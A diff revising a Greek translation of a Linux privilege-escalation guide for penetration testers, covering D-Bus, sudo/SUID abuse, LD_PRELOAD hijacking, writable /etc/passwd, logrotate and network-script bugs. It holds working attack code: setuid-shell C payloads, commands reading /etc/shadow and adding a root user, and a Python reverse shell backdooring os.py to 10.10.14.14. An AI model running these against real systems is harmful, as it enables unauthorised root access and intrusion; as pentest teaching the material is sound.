Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρέπει/απαγορεύει**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων.
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **Δίκτυο**
Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να προσδιορίζετε τη θέση της μηχανής.
Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να κατανοείτε τη θέση της μηχανής.
### Γενική καταγραφή
```bash
@ -629,7 +629,7 @@ timeout 1 tcpdump
### Γενική Αρίθμηση
Έλεγξε **ποιος** είσαι, ποιες **privileges** έχεις, ποιοι **χρήστες** είναι στα συστήματα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges:**
Έλεγξε **ποιος** είσαι, ποιες **άδειες** έχεις, ποιοι **χρήστες** υπάρχουν στα συστήματα, ποιοι μπορούν να **συνδεθούν** και ποιοι έχουν **δικαιώματα root:**
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -658,7 +658,7 @@ gpg --list-keys 2>/dev/null
### Groups
Ελέγξτε αν είστε **μέλος κάποιου group** που θα μπορούσε να σας δώσει δικαιώματα root:
Ελέγξτε αν είστε **μέλος κάποιου γκρουπ** που θα μπορούσε να σας δώσει δικαιώματα root:
{{#ref}}
interesting-groups-linux-pe/
@ -681,9 +681,9 @@ fi
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
### Γνωστοί κωδικοί
### Γνωστά passwords
Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
Αν **γνωρίζετε κάποιο password** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας το password.
### Su Brute
@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### $PATH
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας **μια πίσω πόρτα μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελο σας στο $PATH.
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιο φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε δικαιώματα δημιουργώντας **ένα backdoor μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που θα εκτελείται από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH.
### SUDO και SUID
@ -736,9 +736,9 @@ User waldo may run the following commands on admirer:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo execution bypassing paths
### Sudo εκτέλεση παράκαμψη διαδρομών
**Jump** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Μια παρόμοια εκμετάλλευση privesc μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
> Μια παρόμοια εκμετάλλευση μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
```c
#include <stdio.h>
#include <stdlib.h>
@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
Τελικά, η εκτέλεση του επηρεαζόμενου SUID δυαδικού αρχείου θα πρέπει να ενεργοποιήσει την εκμετάλλευση, επιτρέποντας πιθανή παραβίαση του συστήματος.
Τέλος, η εκτέλεση του επηρεαζόμενου SUID δυαδικού αρχείου θα πρέπει να ενεργοποιήσει την εκμετάλλευση, επιτρέποντας πιθανή παραβίαση του συστήματος.
## Shared Object Hijacking
```bash
@ -892,9 +892,9 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψει τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα shells, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα δικαιώματα, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -915,20 +915,20 @@ https://gtfoargs.github.io/
### Επαναχρησιμοποίηση Σημείων Sudo
Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα δικαιώματα σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το session token**.
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το διακριτικό συνεδρίας**.
Απαιτήσεις για να κλιμακώσετε τα δικαιώματα:
Απαιτήσεις για την κλιμάκωση προνομίων:
- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_"
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_"
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι τις **τελευταίες 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του διακριτικού sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
- `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0
- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
(Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας το `/etc/sysctl.d/10-ptrace.conf` και ρυθμίζοντας `kernel.yama.ptrace_scope = 0`)
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το διακριτικό sudo στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κερδίσει δικαιώματα, και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κλιμακώσει τα δικαιώματα και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
Σημειώστε ότι αν ο χρήστης χρησιμοποιεί ένα διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
@ -1058,11 +1058,11 @@ linux-capabilities.md
## Δικαιώματα καταλόγου
Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\
Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**.
Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**.
## ACLs
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
```bash
@ -1151,19 +1151,19 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**.
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας.
Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό:
```
Host example.com
ForwardAgent yes
```
Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταπηδά σε μια διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (που είναι ένα ζήτημα ασφαλείας).
Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταπηδά σε μια διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (το οποίο είναι ένα ζήτημα ασφαλείας).
Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.\
Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** τη μεταφορά ssh-agent με τη λέξη-κλειδί `AllowAgentForwarding` (η προεπιλογή είναι επιτρεπτή).
Αν διαπιστώσετε ότι η Forward Agent είναι ρυθμισμένη σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **μπορεί να μπορείτε να την εκμεταλλευτείτε για να κερδίσετε δικαιώματα**:
Αν διαπιστώσετε ότι η Forward Agent είναι ρυθμισμένη σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **μπορείτε να την εκμεταλλευτείτε για να κερδίσετε δικαιώματα**:
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1177,24 +1177,24 @@ ssh-forward-agent-exploitation.md
```bash
ls -l /etc/profile /etc/profile.d/
```
Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
### Αρχεία Passwd/Shadow
Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή μπορεί να υπάρχει ένα αντίγραφο ασφαλείας. Επομένως, συνιστάται να **βρείτε όλα αυτά** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία:
Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετικό όνομα ή μπορεί να υπάρχει ένα αντίγραφο ασφαλείας. Επομένως, συνιστάται να **βρείτε όλα αυτά** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
Σε ορισμένες περιπτώσεις, μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο).
Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο).
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### Writable /etc/passwd
Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές.
Πρώτον, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
@ -1214,7 +1214,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD, το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και το `/etc/master.passwd`, επίσης το `/etc/shadow` έχει μετονομαστεί σε `/etc/spwd.db`.
ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και το `/etc/master.passwd`, επίσης το `/etc/shadow` έχει μετονομαστεί σε `/etc/spwd.db`.
Πρέπει να ελέγξετε αν μπορείτε να **γράψετε σε ορισμένα ευαίσθητα αρχεία**. Για παράδειγμα, μπορείτε να γράψετε σε κάποιο **αρχείο διαμόρφωσης υπηρεσίας**;
```bash
@ -1292,7 +1292,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Καταγραφές
Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\
Επίσης, κάποιες **"κακώς"** ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Επίσης, κάποιες "**κακώς**" ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1313,40 +1313,40 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Generic Creds Search/Regex
Πρέπει επίσης να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** ή μέσα στο **περιεχόμενο**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή regexps hashes.\
Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει, μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
## Writable files
### Python library hijacking
Αν γνωρίζετε από **πού** θα εκτελείται ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Για να **backdoor the library** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT):
Για να **backdoor the library** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την εξής γραμμή (αλλάξτε IP και PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate exploitation
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελεί αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να παραποιηθεί ώστε να εκτελεί αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
> [!NOTE]
> [!TIP]
> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες
Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με το [**logrotten**](https://github.com/whotwagner/logrotten).
Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε βρείτε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε δικαιώματα αντικαθιστώντας τα logs με symlinks.
Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε δικαιώματα αντικαθιστώντας τα logs με symlinks.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Αν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d).
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**.
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο λευκό διάστημα εκτελούνται ως root**.
Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1360,7 +1360,7 @@ DEVICE=eth0
Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart.
**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και στο `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
